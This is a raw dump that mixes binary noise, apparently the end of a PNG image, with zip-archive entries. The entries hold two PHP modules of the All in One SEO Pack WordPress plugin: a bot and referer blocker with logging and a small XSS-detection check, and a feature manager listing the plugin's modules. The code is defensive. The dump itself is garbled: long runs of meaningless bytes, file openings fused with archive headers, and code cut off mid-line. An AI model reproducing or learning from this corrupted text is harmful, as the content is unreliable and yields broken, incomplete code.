ïºòÝ»íª¸ôòréªï¨îQ3²Î }G½~[íè~ÈtÝpÊ\¨ÖÐ<‘ù>¬*Œ·ô][̽8LÓk÷1§röwoÐ8Ìøf¬!)r³~¦µ.œ…R”EÈoÑñ4¸YRÂÓ[†¦.Ñ•ËL×g—“\X¡ÇŠ|¬ÉÆlç.9ñâþ˜Qôç‰çnå¯[ ›æÚ9Ï^I9ѯ_S¤î#—V@y¼KçÁ­_#Ýa¾Ö Ö_@Š›âÖuL×ïÝíù$wÜU´ÛÔf|á'%›[À(ú¥™¶_¸7çç=í6ŒÍ1æ9{k÷ìî¹jç¬\?v#h6ÿ&›Y.;͉úö $'Š~în™¶šS’Ü}Žÿœírõ†ÖŸ=3Ên˜¾[7œ—t»¯o•ÙÎþÅÃkB»ÇåÇŽx}Y\¾lØcÇ÷ÿDTçwüVÍ[‰Ú;Ž«ÓÝG\2Æû‘sBÌf'[@7_A»+_d¾r_2}Ù}Â)SáƒûW3¾‘ ‡õRw,ß ýÎýÅqýeÄßuæü»"?´o~ëÛöõïý§½3Žò:Ïø€FÛh4Ë÷Í·Œ$ »¶ 6à€b «,×1lˆ@ìØf3K@‚\§8MjÔKm Â9§‡¶±c'MOÚsr’â†ä¸­ëÔ‘€ôöy%®zçJÄif¾ùfþøÿa¡3óòòÜw»ï=G¡}gS‹ï’Qqˆß5‘Œþ O'3Pü[a1YÏ¥ÐþZÒðYR }?þ;u)ÝýZÛ1à‰3eÛ‡JF¾·&åìξf<÷é#&ñS²í_ºÑÛ£€+ éäFæî7ø¥”Phø¾‘¹«Ú)í]g5Áy±šWÔ­ØKÁ)&Ðì¬ð5뮑òæíð| …b"¸$ÞöÈ³Š¨`Ó ²¿§šíŸ~…BEQ›·?_º‘PøÁÏ„ÓúÃ&Yëó ›ZBQušÂÃÆ©'ÛñD| 8ˆáWÊÃ3ƒXM9g57|‡¼º%?üs)Æo¾v§ÅÃW999d,}&Åü kˆ<¾‡2sód¿ n$Yàƒ§ÍÌ$kÁ:ÒRHaƒl´ßÁéR¨>X<+†» \'›y÷ýd¤Z$‡ªpa¥ú*Û{ÀžòupM¤áñó(\}:Å"è³d•ͧÑôs û„â6°ÃÛ#ËH¯:•R^°ž²²²d£ý0cè¬ýÀg-'[È §k(eêCµF޼wÿc•í¾ xbÌP/lìÝŸô'RG¤ñ=í¯R Ï`¹>Q«¯™«ŒBáµï ÈÖ賂áà°{ß&ë¾å<¹¼cg €·1|ªίH¡À÷´PÀs–rŽü1x0B¡ƒ ¡Èö¨à‰êÔ±=FsE¿7,§|?yŸ'Ùà­–Ó-7—ìòî7œÈ“7!¯‘vŒƒÃ>Ôò²9”=8t,-ˆW „¾Š…ë9Õ6Κ ò‰ö0xâŒÞMmñ¼°Mö:§~\úÚAd ºZ+k¯Pä€ór%Þ^¸Î#ÝØhߤ¼PXëÁŒ8ì#Q}ýá)ìÒ¢&§Uö—ŸDM(jvâMŸ»wÇA£(jZÓ–º¶¨©WÿŒqsÔHîð¶W(º€rÙiCwÞKƳ¯³ÓºÎhá _A4e´³qøUx¹>à à¾hbû«êw—ú6‚g'AŒõb4ÀHÇ|êeþ¬î‹&Ö¿@ùf|0~*Š˜í &ü½ Û<#œÖ5F3+«-Ñ«b3A,ËŠ=S#w 41´šÄ¼%ÐîÙà &Ý/{Î Ò\Mœ!kâ|5šxdÞªP0‹À5¡²úˆ*ÜR`ã«wÈ=]½V“ ðWà?‡<ÒrSTÁÑÄŽ¦hBĬÀ“@ÆOE­"Ø«¢Š¿q‘íÏ‘hÂgF]Q¸&OG„Bo‰* @Yh¥˜å›Üa8Ô&"Oî§¼ .‡`u`n‚µ X*îpJÄb®:åžÛ¹ó×PvNû”°ûP< &m‰*0™½Ü5mjÍ óÔƒñ н£BÁ<*çn>%IßáS-¼çïH:Vm>8¬üãÿ×* ²V6Oj»ó .šj÷oC˜þGø;we¬-íÛ7ís5CN³¯€‰Ÿg“ö;­˜«˜¹Œ´$wX £éÙÑÃ&õàËrØ% A“uLÈ{Þä”)¹«í“f’Eâc0ØAvïN´ø;0ÊògOþƒñÞñjÑþ$ðv–Pt¥à×Beyɇ¹î…äTYnËá¢[°x zªm·;ÈaÃò\ƒ™‹6óçOÞü˜S=-¬îœ˜ºƒè~ÒÑéfRwŸ4>á;8eÿ=˜<%‚ý€Zªñ#&aº+ÙzüµMkþzdFj¿}€Ça<. ‡ `.ߨú}vØäK90"¯ßýEUœkÄMEò5ðGQ'ÒJGó˜ò 5§8ýwôS[Ñ'AN,„âNùH¶×GöÃHK¶‹_hñæúƒò©v ìt¨³¶ºb …!É×’›µLm‡Ö9ÀãPL±ñÉBñ5‚v)†°’oTû™jº÷³öìX¹•jü,ù„Ë/èEfå·Yµ’CY·|—ü½ú‹‹_‚£¢êPî„Ís|~²–>-lžâŒB,Eg´‘Ïp°Ý»€ûÀÅ–Ñn#’\­jN9oáC]>ÿ,žX “^"$ÓïC¦£C2QÌy“ôejkèc0xLW°Ož’ LŽJ<§Ï#mнÂQÿ"¶š;œnàhþFúdí:)üÝÙCm¸¯(*Vmÿ¸-ÖBÁØàQlSqîïØðKCÅZŸþ(õÈÊ–öŸ`ŽXšëprAœ‚˜Ã':[ ÷7‡½ÆØÙjØûÏààIòÀ91Kç¯×o—:×öÆŽPè®QªH¼+ó* ÉV€:±h%7?@‘E›Hsêå£%[Õºó"ð$SDÌdBôìiK®×+jÙ Ì]°×«ÖƒDØ›LÌ¿kÙÑâgßHš“W:NœG™Ñ[î‚%ÀÓ^:¯ÆóÛEd¯¬rT8Ì·] VV“ÏÄ)±k"ɘþ[ØÜë:Òa5`aùKnôÜkà èÛ'!϶÷Y…د¹}ÌQ"ÁÓ—sVr;]öùP râ-LüXÞÚÍí»HåagˆçÇø,Xõ¥Þ)¨Iê¬ÝÁQÙæ>#B‘Ï9g̘í¾úÏÉWÐKç³ÂQ“”"ðŽl{ñ 2Öÿ¥cG [«rƒºzÉqGnCwVEþ=ÙxÁ¾C(²é;LÂE"ÿ ƒeƒ©Ë9’¼H,òõìË‹H/¼Ûk½ú©vÿ-˜Ï ­ÍÙËù®êóà×"ÝHf¡`Jä9 aÀ¬œ\~œ–Ü"ßU ØÚQ9'¶ð³Ú]÷óŸU Ƽ#KÒHCYRÝ‚Ÿ\q*ob¾¹ˆŽO2`!Š0@¸›—¯Ú½ü¨%’H“†‰ Ψ40¨“9éa1oq¶?ן¨vR x*l¯Q@æ¨iT0v&åáäËlÛXàEP|Sû$ÒL§A£ê´ų߲̈p%<‚{æ‚u¤ Ê$U ?ãÒ"qÓÌgµ²½ÏO:Ã^´ ¶?Döœå„xcížÚMb.c`ðÄ“D‡Å_wü%I´µS…Üu§s§þa¾¤)y‚w/ô5w7·ß<<=àc €9*‘ õ›Ü5SÛ¡vÛΨ‘ÚŽ?§"2¾._¾Aðôô¿÷+Ír…F9Àö^ íˆY §›¢âS…T#ãi„Ìo ÃM¿` b$£Qï<´ò%ôY¸7CÁöO0bÿ%Œ<|£Ž\ÅÈCWägùyo½¬Åï ãÓsÑ4wj¤´FPx—ßËv¥Ûóçü=çÑwõ´Ÿ4uÿÖæ˜êÊ ×iÀÜw7bÕMQ1H$‹Ý î× wEÄ Aæt›½·žFþ+"”\Æà}—åƒß²ÿ Û»ŠÁ{.!{Í!¤-Dõ”4ø‚Fü™æ8F-Ĥ›B;‹DÌ€ÄìaÈ\²ýwœÇ€=_¢ÿ®Kè¿ó¢S°û ä>(þ W!.#~ÁfPËodñÓM¡Íøa» D7LAçy›‘³å3ôÝv9[?ã¿]ÄÖÏÑwûdŸFú”%3Æ72ÖÐM¡•)8…¬Õ¡z¿s½6AÏM§5¡WñYt_~–jµ@£þLmiº)43…bîo®ëO¢[ÑÇÚñÖ§è¸`;‚#«2Sè¦Ð’éà!ªa3tXñ:¼ñÿÐa6t\ÿÒfmD@H˜t_P[œn m*cаøH[rmVŸ ÿЄ¶kO¢éŒ5ð×FNÉâ–n mÈ¢)nD×@Ó9Û‘ºü4ý¸&¤®øÇÌÑÇ—3ÝZRŸ©úºŸ%‰Ó×"ùµcH^ú®&4YvñC&A–Å©kñÔM¡ Q<+O{ùù#î±WPñ»¨¿ð°&4X|U» †Ý™\tÓ¯´Ã“ìðàÙÛÿ Ü·à0î{å€6Ì-AHJMáëè¦Ð–B9¡9¨6g?b_.q=sJPíÙbÔ¨-k?PSºn mÉ£)nÖk†ˆÂm{iÂfº˜Yû>f¼Í2ó8MM‘º)´¥/„]ò ‚uÂJ˜_Üó »\Šeæ^X²Ç@º1êÙ@ÜuSh‹Ùåéí KÞ˜y€\nŠçw 0¥ƒOŒÖ/W ÆË¨?¨U&,.5yq7¬×À7²˜±*Ð…0ÝÉ4Åu¿˜{a}ú 9P®3…tý&ÀÓË Ô±øé¦¨x“â[]È€§\Ú…XžÛŠ€¤ÖÁ.5ŒÐJXdòÀü"ˆÊEYb¬Í…Wé¬ã5ÄꦨX„òÀó †uÔ,9`.`îD`«2–®c©¢›¢â1ÂÀ d2°ns~–xx¼ƒC`(½T^_¿›»bÆô¾—)Öa…N[ì–. MÛ«,1“TÑMQqÉ1p©ÙT'Öio;g&Â,!Z£¯¿d‰,¡›Â‡É3æîŽ_·àŠ©¬œúÅÆÁPz/æý ±ÊAÓúyos(¬#^tÜ “YÇòÌf4ë(BºÕÄG7EåtþèÇ+—Ö'VÈîåìà.C¸PåMCþÁ}$èÏ’V. ¤P‚ [À:ùÍÛ2†E²DÎXý$K\cÛÝõ§Î+'!ä >Aؤ¬SŠÊa šALÑ"¼ƒ, ÉÄÙänÝ•—P¦úRc4n뤵ö1$;n‡9ëQx•B £ ¡›âNÈüÃúÈ|vbŒÝ¾85}#‚;ö‡ÑÏ_ qUÆ)j`©›â2†Œ1|ëÂÒw<,Ïný¿Ý‰d™vŽY,ºÀ©­CäÜyB7…JÒ?}ý ËáÖGÂb».X§¾sÏÑð ‹Q«•ÇIµb©›âÎă ãÙÿ¹tk8‚ÚfÁ‚üò™üN¶!ÿ¢þ“Ô½–m<¬t»( º‘ª$“<ËØïb ÏRÓR F#u{Ûô{K¼Á¿ü½hÿ‘ÛÆïíµÕhïEª÷òšÂDÚ’ÅR*ZDÈ¥pZLÃ&hØ#m|]Ÿ{Ù¬ Þåä½yyEïbÀÚÈ}}zÎÛ€NOÏAjþXÔißñõ¥ +ä p1 Û=bszKâçà§Àê‘ <˜û˜o¸/xÓ¤æèj¨Ñ¤%3û¡ÕÈ èôäLt{~2ç¾) [á2tšøÒFMdmôA¨•šŽÐqð ”`+Ýï²í¹¢Û Æ–¶¢I6yû:'…û=Œ½5‘u%–h–÷02Æ>ƒ.Ó ÇËëùJzÌZƒÎSæ¡ÝcÓ2ðAn×Qu“xÌÂÅìb”äBoÖO{t:âÚvApdŒ8[Ä~G¡[l¿€šI²–g÷e1‚_±IÍ$ˆè>s5½‡a{/`ä‘kýÞ×¥ûæÿC}>ê(ë—|AÅ'ÐkÁF¤=2ñé]aŽ©¦êœk3ö£$Üs›Y!™<Ï3ûc9 <óCª×Bý®Ùh?qviì·Š¿Â¨÷®Û´“ßÓΘËvù;ÎàU%è4e’ú FMåÃÌÎøüJÎó8¿fË~¾¿gŠH2–}Äoxûû#¶q*Z?2Ù,ü>dï% eqø¡¯JýpäïÿªÌð{üþ5iCö\DöªHójܟ΃ éfdymÐè2š#ˆ ¢ö#lã9+Â&ýG#sþFäm;ê.8üOÑ¡¢ãÀWv"šù]j.BøŒCßuGÐnâˈo×a‘§Ë¸ß/l¯N¬[Fs¸Ṵ̂Èݽ´^»œÙ =Ð2·èòK¾í¢ZD;±[û•Ríü¾|6póG¬ÿ’sG"<¾Äxî’I †¶qŠI™b9JQ7ÅE÷¶ê„Ó_EnñGÈÛ{y¬é=p÷%‡#íJûý¶œF—YëQ·[.Jƒüõˆ9·¿8»Ú’-Ôþ«ÑÇU5Gë±Ï#gýû´÷K Ú÷÷ÁýìùÂQ°ÍËTÂïø_ºM=†ÐZµmã'we{LŽ$/ò€Ð f êHʆ̅[¤mîÃñÚ¥=iWbÓ·è8Ò'ÎAÔ f@9)e°½‹ôq¿‰¨ˆzÉHŸº9›>F.‹¼?°ý‚”ᥬµzsÞ$;Lñ¢lëo EÃ>ùè±t—­Mêw²vAb$±ÊaÿŒËhŽö’9Dûw"î[×dÄddo»ÀºágÑ»øŒœEÖÖ Èx©^t®E_ër›ë2ûÉxf…hGÖæsèCý®&‹Åðeÿ͆>™PÛd;LÁ.à u:g#ë3lãs ´ÆL´w[²[Æy’í âJ_–Øïadn<ƒî>Ñ Ù«)¯ÊtÖ.Së²mëiËñ÷Mg‘ùö§š!ûo2äqx”fŠ•Äí/Máæ†„޽ñ÷·?ÑV;ãÞiÑ.†GËZD\‰”:ª›9ßü{ã”ft.úÍÇÏaó‘ÀÚe éjšŽ›ƒ.>Eçõ§4£ M]¿ïèÿ¬Mz·=¦ˆmÑY§]SíE#mv1|Ì!r2–šBÒXö}¾æ$ÒWŸÐŒvëN¡Ñ¨0ØCÄÿO‚A>–1EÒðÉÈ ©Ú­9¡,„_³Û@ÍÛÛ}Ì“mÃS‘¾âÚ­=©¡öSh>}¥ªÕ·VÄE4k–¯C‹åhFËU'ל¬-±ã¥#û$]×É}­iªV+>ЈÑzùqĦu/‹)ÉÉß-íG«•j§õI4ÿ ¼}oÕjÿQÄq¡u“ÑtA š¾vL3R–½ê]úCôP×|;|Vɶ±]¢ ѧ° M î”Ň‘ÔBi·çEî½d (¦&šÌÞ*mh¦¿Ùò_0U•Ñ<"âzPÜ÷UïEý™[Ðu».:¢ !¼Y{Ø|;;Y¶Lí„F‹#‰Ú5aÉ»Hœ½¥UŒ¦®4;´Ëìéšôãõ¦®AÒÒ÷4Óßhé1Ôè9L½p‡÷…o°q“–#5Ããçt=ó!aæ6ÕªYŒ’‹pv6KVBƒ¡öì]¨½àjÏ×€…G?e ü¬áàbÔ;¯¢É9™=ÕzxÛ8ªvRgþA„µè¢j«Nqþä€\e‹ö,ª¿rÕ甸ž¹P}Ò*ø2°4éW²8eG`›¸³¨x jN],F_cî~—SsÞ!ÄŽzFŸ[}ò;߬g År0:ç1iCÚÒFÿ‹<ãJ†þQ­hV!‹)¡Ýò9»/íu=²ß¡3Ôtô °#°Á4ЇF?¢œ¨—÷#jÖ^—Íý†eW WKE›L”³ÓÚ:ѳ¥- `Ü£'®„OéÉxYê¡)qù".0©B ·K)y­K±Ê‹Ô;öWýÚ|;/IË6¯ÉÙfí9 !4—•Ú]Mˆ”¶nܦ<¥­Ûó;?™îkˆÐÅh'ŒYÈà©`O!Ú÷%.žãKŸˆX)ÓìÂ*À ŠcÕSí&ú¢2ø-C` ä`Hù)ÔbÖ¢´õ¤µª´õ·ÔÓ¼ Ú«òì<ël•÷kSÀŸúƒÓ³Ô¢[¡ºJ*ø²/Ü'©Û:xšë É3Kð=Ù¶š†‹vŽ'É<×yPäà¸ÞÐŒc¦º½ƒÄTÆ[_—© 9ë1iËõ†f>ÿšu!ù¨%]™Bñ„¸%¸µë É[¤ëè1 Ò Èb1”ñÞÅMrKšeЗÖB‚Zö B-Z•‘lgPÛJ}×zÄLýMb¿2FS¦P$HâUgœ+»ºuú&˜â“$°eí:yRo<ðþ¿IâÚ3mâjÕuü›:R˪]u!2гŽ{Õ¥]ˆ…·í£Æq…¿w;ž;Y&·šY²ÇŠ‹\æVËÐgUO¹ÿÑRŽÀÖäö¹OH$¬ã—¹.°R£”•ƒ$f2½,g‘˜*d–dIs÷aÒ¦K Í$ ¦øNî^ÿ=SÝo†k'ËÙ«ªç8)AФJ¿“nã†×Â[íš/…\\ÔoTNÛz—S»Ð†m|+}»uÊiÛ5]vÏQjiû-âõG¦ðçÙºÃèãkÞdçg “>Í«ôêÜ95À,'µØ ~1÷º¦û“þ¸ÿ“¶¦á}y®å6´É›r©¥ï8‰‹ó ýôð«/†–,Ññ¯nñïÉ òOHV¥¡: Lj­²Ä¥á¶²…Œä»ÈT˹Aº¦¸DÑ. ¿MíBÆ­lQ«¾TFt¦©K3iáÿ™%¼ÿÊ2=×ÂÜçéŸ×ç>!KÃUIyÁ­Íþñ‚OxUŽ-^s–öRÃeŽTc‰½ÄêíFò*ð‘¶gjÆDb#kRŒÕ÷’%ì}(E*ìÝšûsBpE+ ûU­%ÂdÆ‘çÀ‡ig›7S»ÀòÜ6ÉHNYSñ R´ÎÒ.Ô½eê°hX[äSïfL¶"ˆ³4îG-Éí5E2I HN‡uF±¤3‡Ö üßšá눯C Èñ™Í09vÐIíRš2 ±¥ ê\µ¦â@’fÒw•á8fQÙù”ŒáÊú,©…ÝÈÎ[ÝH×!œÓîtŒ0¶ܽªf¸sŠ·u–UN)7òÈ| Üvˈ\Ÿ‡ê6ÔàÒ±ø3.o;4î*Ã=8Ge8¹ú@y0n(•ù¼LA°ö› N»}§æNP³‹2¸’ý8*ª1Å%É|ü¶S±…˜¹~#Wd©ý¼t±NÒ.4â>>“¸[ú=yûÙBºëÇ_—ålU‰y:1–×B&ºìmƒeÈtIÇåœåM—9D9u”´ïDLd>ƒ{ÔØJ¦`å6†üÍ2E— WÔþŒ\P¼¶«ìËÛ!‹{¢½ü‚ׄLuST—÷6 tDa¹lð'hø4ƒTšNËVD~h,&^Æ©¾ØÉXÉn¦c˜8õµ>UFc(íž’û ÔRö`½ŠÀŒ“x1åÓÏHÆ(û oÂJ˜¤ª{=Þ!ÑŽª6h$Ó(ðg¹’)SUŽìÿZ¤t²]¯áhvµ!qäà-cÔkÆ4ºL‚eg|jïý°*€ÿ­Ä€¸»P»AÛ¦”®×òüNÑf—!8ƒ‘¼¢]"ÊÑ%(½Èx¦ã«R:8­—¤dÙù‹zj‚Ze³t´«…!ñêI8YųÂb;ð¨}r‘\,‚ü­ÔþµdeA cÈã”æNeQQ4þ±™9 ¶°»ó)½®aw†P”g “Aº$×ük5€5†œQ6‘»åÿ’düÿ{ëC¶“ÁªíQwiG#ª’¥\5üMÎüàNhêõ¢W™Cº9e馄ÆJûEÛ¢ŠÆå¸ ¨å‚Ì|ê7çLb.,6ÍÊ jü”ž 1tùr«%‰rv±Z1FRÂß”qÍÁ:z¶\D“i× :ÁË?r¤OW—”+&2AÎ|Yâõ«YOF÷raK¦~réÁmzKw¡–Þ? ÍÔ ²NŽ‹6os(‚2úʬB´Kö5fÂeækò·/WV0#ÏÈ“ß"RÆ &fïÒþÒÍȘz´áF:“÷ÄÔrsŽ\é º¿çðÑ`²í²R9ÄV0íB4™Mÿ–Á£,és…’×aä>Ku"î!­ÊûvG¸ YG‘߈9Ä$üy9i^Á_›Ež#E·Üç)ñmýoÕÕUP ¤ÙCÍ?‰v18>Cž$–ŠPëÜ‹t'KIâ)ŸWî!‰d9LrÔKÙ* Ad(9FæxGœˆÿ|nz‰†õHIEND®B`‚PK,—[ùÒ¡ûû2all-in-one-seo-pack/modules/aioseop_bad_robots.phpnu„[µü¤name = __( 'Bad Bot Blocker', 'all-in-one-seo-pack' ); // Human-readable name of the plugin. $this->prefix = 'aiosp_bad_robots_'; // Option prefix. $this->file = __FILE__; // The current file. parent::__construct(); $this->default_options = array( 'block_bots' => array( 'name' => __( 'Block Bad Bots using HTTP', 'all-in-one-seo-pack' ) ), 'block_refer' => array( 'name' => __( 'Block Referral Spam using HTTP', 'all-in-one-seo-pack' ) ), 'track_blocks' => array( 'name' => __( 'Track Blocked Bots', 'all-in-one-seo-pack' ) ), 'edit_blocks' => array( 'name' => __( 'Use Custom Blocklists', 'all-in-one-seo-pack' ) ), 'blocklist' => array( 'name' => __( 'User Agent Blocklist', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'rows' => 5, 'cols' => 120, 'condshow' => array( "{$this->prefix}edit_blocks" => 'on' ), 'default' => join( "\n", $this->default_bad_bots() ), ), 'referlist' => array( 'name' => __( 'Referer Blocklist', 'all-in-one-seo-pack' ), 'type' => 'textarea', 'rows' => 5, 'cols' => 120, 'condshow' => array( "{$this->prefix}edit_blocks" => 'on', "{$this->prefix}block_refer" => 'on', ), 'default' => join( "\n", $this->default_bad_referers() ), ), 'blocked_log' => array( 'name' => __( 'Log Of Blocked Bots', 'all-in-one-seo-pack' ), 'default' => __( 'No requests yet.', 'all-in-one-seo-pack' ), 'type' => 'esc_html', 'disabled' => 'disabled', 'save' => false, 'label' => 'top', 'rows' => 5, 'cols' => 120, 'style' => 'min-width:950px', 'condshow' => array( "{$this->prefix}track_blocks" => 'on' ), ), ); add_filter( $this->prefix . 'display_options', array( $this, 'filter_display_options' ) ); // Load initial options / set defaults. $this->update_options(); if ( $this->option_isset( 'edit_blocks' ) ) { add_filter( $this->prefix . 'badbotlist', array( $this, 'filter_bad_botlist' ) ); if ( $this->option_isset( 'block_refer' ) ) { add_filter( $this->prefix . 'badreferlist', array( $this, 'filter_bad_referlist' ) ); } } if ( $this->option_isset( 'block_bots' ) ) { if ( ! $this->allow_bot() ) { status_header( 503 ); $ip = $this->validate_ip( $_SERVER['REMOTE_ADDR'] ); $user_agent = $_SERVER['HTTP_USER_AGENT']; $this->blocked_message( sprintf( __( 'Blocked bot with IP %1$s -- matched user agent %2$s found in blocklist.', 'all-in-one-seo-pack' ), $ip, $user_agent ) ); exit(); } elseif ( $this->option_isset( 'block_refer' ) && $this->is_bad_referer() ) { status_header( 503 ); $ip = $this->validate_ip( $_SERVER['REMOTE_ADDR'] ); $referer = $_SERVER['HTTP_REFERER']; $this->blocked_message( sprintf( __( 'Blocked bot with IP %1$s -- matched referer %2$s found in blocklist.', 'all-in-one-seo-pack' ), $ip, $referer ) ); } } } /** * Validate IP. * * @since 2.3.7 * * @param $ip * @return string */ function validate_ip( $ip ) { if ( filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ) { // Valid IPV4. return $ip; } if ( filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) { // Valid IPV6. return $ip; } // Doesn't seem to be a valid IP. return 'invalid IP submitted'; } /** * Filter Bad Refer List * * @since ? * * @param $referlist * @return array */ function filter_bad_referlist( $referlist ) { if ( $this->option_isset( 'edit_blocks' ) && $this->option_isset( 'block_refer' ) && $this->option_isset( 'referlist' ) ) { $referlist = preg_split( '/\r\n|[\r\n]/', $this->options[ "{$this->prefix}referlist" ] ); } return $referlist; } /** * Filter Bad Bot List * * @since ? * * @param $botlist * @return array */ function filter_bad_botlist( $botlist ) { if ( $this->option_isset( 'edit_blocks' ) && $this->option_isset( 'blocklist' ) ) { $botlist = preg_split( '/\r\n|[\r\n]/', $this->options[ "{$this->prefix}blocklist" ] ); } return $botlist; } /** * Blocked Message * * Updates blocked message. * * @since 2.3.11.1 * * @param string $msg */ function blocked_message( $msg ) { if ( ! $this->option_isset( 'track_blocks' ) ) { return; // Only log if track blocks is checked. } if ( empty( $this->options[ "{$this->prefix}blocked_log" ] ) ) { $this->options[ "{$this->prefix}blocked_log" ] = ''; } $this->options[ "{$this->prefix}blocked_log" ] = date( 'Y-m-d H:i:s' ) . " {$msg}\n" . $this->options[ "{$this->prefix}blocked_log" ]; if ( $this->strlen( $this->options[ "{$this->prefix}blocked_log" ] ) > 4096 ) { $end = $this->strrpos( $this->options[ "{$this->prefix}blocked_log" ], "\n" ); if ( false === $end ) { $end = 4096; } $this->options[ "{$this->prefix}blocked_log" ] = $this->substr( $this->options[ "{$this->prefix}blocked_log" ], 0, $end ); } $this->update_class_option( $this->options ); } /** * Filter display options. * * Add in options for status display on settings page, sitemap rewriting on multisite. * * @since ? * * @param $options * @return mixed */ function filter_display_options( $options ) { if ( $this->option_isset( 'blocked_log' ) ) { if ( preg_match( '/\<(\?php|script)/', $options[ "{$this->prefix}blocked_log" ] ) ) { $options[ "{$this->prefix}blocked_log" ] = "Probable XSS attempt detected!\n" . $options[ "{$this->prefix}blocked_log" ]; } } return $options; } } } PK,—[“FÜaæ&æ&7all-in-one-seo-pack/modules/aioseop_feature_manager.phpnu„[µü¤name = __( 'Feature Manager', 'all-in-one-seo-pack' ); // Human-readable name of the plugin. $this->prefix = 'aiosp_feature_manager_'; // Option prefix. $this->file = __FILE__; // The current file. parent::__construct(); $this->module_info = array( 'sitemap' => array( /* translators: the XML Sitemaps module allows users to generate a sitemap in .xml format for their website and submit it to search engines such as Google, Bing and Yahoo. */ 'name' => __( 'XML Sitemaps', 'all-in-one-seo-pack' ), 'description' => __( 'Create and manage your XML Sitemaps using this feature and submit your XML Sitemap to Google, Bing/Yahoo and Ask.com.', 'all-in-one-seo-pack' ), ), 'opengraph' => array( /* translators: the Social Meta module allows users to add Open Graph (OG:) meta tags to their site's post/pages to control the appearance of them when shared on social media networks like Facebook and Twitter. */ 'name' => __( 'Social Meta', 'all-in-one-seo-pack' ), /* translators: Social Meta refers to Open Graph (OG:) meta tags, which can be used to control the appearance of a site's posts/pages when shared on social media networks like Facebook and Twitter. */ 'description' => __( 'Add Social Meta data to your site to deliver closer integration between your website and social media.', 'all-in-one-seo-pack' ), ), 'robots' => array( /* translators: the Robots.txt module allows users to provide instructions to web robots, e.g. search engine crawlers. */ 'name' => __( 'Robots.txt', 'all-in-one-seo-pack' ), 'description' => __( 'Generate and validate your robots.txt file to guide search engines through your site.', 'all-in-one-seo-pack' ), ), 'file_editor' => array( /* translators: the File Editor module allows users to edit the robots.txt file or .htaccess file on their site. */ 'name' => __( 'File Editor', 'all-in-one-seo-pack' ), 'description' => __( 'Edit your .htaccess file to fine-tune your site.', 'all-in-one-seo-pack' ), ), 'importer_exporter' => array( /* translators: the Importer & Exporter module allows users to import/export their All in One SEO Pack settings for backup purposes or when migrating their site. */ 'name' => __( 'Importer & Exporter', 'all-in-one-seo-pack' ), /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ 'description' => sprintf( __( 'Exports and imports your %s plugin settings.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), ), 'bad_robots' => array( /* translators: the Bad Bot Blocker module allows users to block requests from user agents that are known to misbehave. */ 'name' => __( 'Bad Bot Blocker', 'all-in-one-seo-pack' ), /* translators: 'bots' refers to user agents/web robots that misbehave. */ 'description' => __( 'Stop badly behaving bots from slowing down your website.', 'all-in-one-seo-pack' ), ), 'performance' => array( /* translators: the Performance module allows users to set certain performance related settings and check the status of their WordPress installation. */ 'name' => __( 'Performance', 'all-in-one-seo-pack' ), 'description' => __( 'Optimize performance related to SEO and check your system status.', 'all-in-one-seo-pack' ), 'default' => 'on', ), ); if ( AIOSEOPPRO ) { $this->module_info['coming_soon'] = array( /* translators: this refers to a feature that will be launched in the near future. */ 'name' => __( 'Coming Soon...', 'all-in-one-seo-pack' ), /* translators: the Image SEO module allows users to optimize their images for search engines. */ 'description' => __( 'Image SEO', 'all-in-one-seo-pack' ), 'save' => false, ); $this->module_info['video_sitemap'] = array( /* translators: the Video Sitemap module allows users to generate a sitemap with video content in .xml format for their website and submit it to search engines such as Google, Bing and Yahoo. */ 'name' => __( 'Video Sitemap', 'all-in-one-seo-pack' ), 'description' => __( 'Create and manage your Video Sitemap using this feature and submit your Video Sitemap to Google, Bing/Yahoo and Ask.com.', 'all-in-one-seo-pack' ), ); } else { $this->module_info['coming_soon'] = array( 'name' => __( 'Video Sitemap', 'all-in-one-seo-pack' ), /* translators: this refers to a module that is exclusively available in All in One SEO Pack Pro. */ 'description' => __( 'Pro Version Only', 'all-in-one-seo-pack' ), 'save' => false, ); } // Set up default settings fields. // Name - Human-readable name of the setting. // Help_text - Inline documentation for the setting. // Type - Type of field; this defaults to checkbox; currently supported types are checkbox, text, select, multiselect. // Default - Default value of the field. // Initial_options - Initial option list used for selects and multiselects. // Other supported options: class, id, style -- allows you to set these HTML attributes on the field. $this->default_options = array(); $this->module_info = apply_filters( 'aioseop_module_info', $this->module_info ); $mod[] = 'coming_soon'; foreach ( $mod as $m ) { if ( 'performance' === $m && ! is_super_admin() ) { continue; } $this->default_options[ "enable_$m" ] = array( 'name' => $this->module_info[ $m ]['name'], 'help_text' => $this->module_info[ $m ]['description'], 'type' => 'custom', 'class' => 'aioseop_feature', 'id' => "aioseop_$m", 'save' => true, ); if ( ! empty( $this->module_info[ $m ]['image'] ) ) { $this->default_options[ "enable_$m" ]['image'] = $this->module_info[ $m ]['image']; } if ( ! empty( $this->module_info[ $m ] ) ) { foreach ( array( 'save', 'default' ) as $option ) { if ( isset( $this->module_info[ $m ][ $option ] ) ) { $this->default_options[ "enable_$m" ][ $option ] = $this->module_info[ $m ][ $option ]; } } } } $this->layout = array( 'default' => array( 'name' => $this->name, 'help_link' => 'https://semperplugins.com/documentation/feature-manager/', 'options' => array_keys( $this->default_options ), ), ); // Load initial options / set defaults. $this->update_options(); if ( is_admin() ) { add_filter( $this->prefix . 'output_option', array( $this, 'display_option_div' ), 10, 2 ); add_filter( $this->prefix . 'submit_options', array( $this, 'filter_submit' ) ); } } /** * Menu Order * * Determines the menu order. * * @since ? * * @return int */ function menu_order() { return 20; } /** * Filter Submit * * @since ? * * @param $submit * @return mixed */ function filter_submit( $submit ) { $submit['Submit']['value'] = __( 'Update Features', 'all-in-one-seo-pack' ) . ' »'; $submit['Submit']['class'] .= ' hidden'; /* translators: this button deactivates all active modules of the plugin. */ $submit['Submit_Default']['value'] = __( 'Reset Features', 'all-in-one-seo-pack' ) . ' »'; return $submit; } /** * Display Option Div * * @since ? * * @param $buf * @param $args * @return string */ function display_option_div( $buf, $args ) { $name = ''; $img = ''; $desc = ''; $checkbox = ''; $class = ''; if ( isset( $args['options']['help_text'] ) && ! empty( $args['options']['help_text'] ) ) { $desc .= '

    ' . $args['options']['help_text'] . '

    '; } if ( $args['value'] ) { $class = ' active'; } if ( isset( $args['options']['image'] ) && ! empty( $args['options']['image'] ) ) { $img .= '

